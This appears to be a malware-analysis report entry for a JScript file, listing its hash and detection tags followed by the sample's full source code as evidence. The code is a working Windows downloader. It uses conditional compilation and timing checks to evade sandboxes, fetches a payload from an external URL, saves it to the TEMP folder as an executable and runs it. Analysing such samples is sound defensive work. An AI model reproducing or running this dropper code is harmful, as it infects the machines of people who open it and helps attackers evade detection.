20160328_a4e0d34447d142b3f218003738aeb408.js
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256fc880e906ca8be505155e2b1f8d35aac4c3b5482c8c980772dc85ba30c9343a2
Evidence
1var Skcfbwaux = false;
2var Nvhscw = "CreateObject";
3var Djojamktfn = function Jcrpvgfrd() {return WScript[Nvhscw]("WScript.Shell");}();
4var Okndu = 123213;
5var Fcclfqn = "MSXML2.XMLHTTP";
6var Ectwrtztdy = 2123213;
7var Skrdsk = 0;
8function Exodcto(Ncgkcmr){Djojamktfn["Run"](Ncgkcmr, Skrdsk, Skrdsk);};
9function Kycxlwgev(){return Fcclfqn;};
10function Piwty(Gnixt, Jnxycqwzxd){return Gnixt - Jnxycqwzxd;};
11function Jkhwht(){return Nvhscw;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Skcfbwaux = true;
15 @end
16@*/
17var Fesgfe = "";
18if (Skcfbwaux)
19{
20function Kuyogkp(){return 22;};
21var Qikrkfbf = 0; var Vtuepukwes = 0;
22function Mbetile()
23{
24var Qtaklq = new this["Date"]();
25var Iddxwgir = Qtaklq["getUTCMilliseconds"]();
26WScript["Sleep"](Kuyogkp());
27var Qtaklq = new this["Date"]();
28var Booitxph = Qtaklq["getUTCMilliseconds"]();
29WScript["Sleep"](Kuyogkp());
30var Qtaklq = new this["Date"]();
31var Ktnbmvjx = Qtaklq["getUTCMilliseconds"]();
32var Qikrkfbf = "Uerccuzi";
33Qikrkfbf = Piwty(Booitxph, Iddxwgir);
34var Vtuepukwes = "Blnsxxpzvj";
35Vtuepukwes = Piwty(Ktnbmvjx, Booitxph);
36Fesgfe = "open";
37return Piwty(Qikrkfbf, Vtuepukwes);
38}
39var Avkxm = false;
40var Hugnyoz = false;
41for (var Oalbnoblc = Skrdsk; Oalbnoblc < Kuyogkp() * 1; Oalbnoblc++){if (Mbetile() != Skrdsk){
42Avkxm …
48:79… };
49if (Avkxm && Rdaxq() && Hugnyoz){
50function Nizbw() {return Djojamktfn["ExpandEnvironmentStrings"]("%TEMP%/") + "egwGRcYYq.exe";};
51 Uzvecgbl = Kycxlwgev();
52 Lcevjq = WScript[Nvhscw](Uzvecgbl);
53 var Rnhlw = 1;
54 while (Rnhlw){
55try {
56Lcevjq[Fesgfe]("GET", "http://www.europaklasse-lbk.de/p4iska", false);
57Lcevjq["send"]();
58Mbsislmpte = "Sleep";
59do {WScript[Mbsislmpte](Kuyogkp() * 11)} while (Lcevjq["readystate"] < 4 );
60Rnhlw = Skrdsk;
61} catch(Urlwc){Rnhlw = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Mtrkx(Miywymcmx) {var Uupdbvk = (1, 2, 3, 4, 5, Miywymcmx); return Uupdbvk;};
64Djmungy = WScript[Jkhwht()]("ADODB.Stream");
65Uzvecgbl = Djmungy;
66Uzvecgbl[Fesgfe]();
67Uzvecgbl["type"] = Mtrkx(1);
68Uzvecgbl["write"](Lcevjq["ResponseBody"]);
69Djmungy["position"] = Mtrkx(Skrdsk);
70Uzvecgbl["SaveToFile"](Nizbw(), Mtrkx(2) );
71Djmungy["close"]();
72Exodcto(Nizbw());
73}
74}
75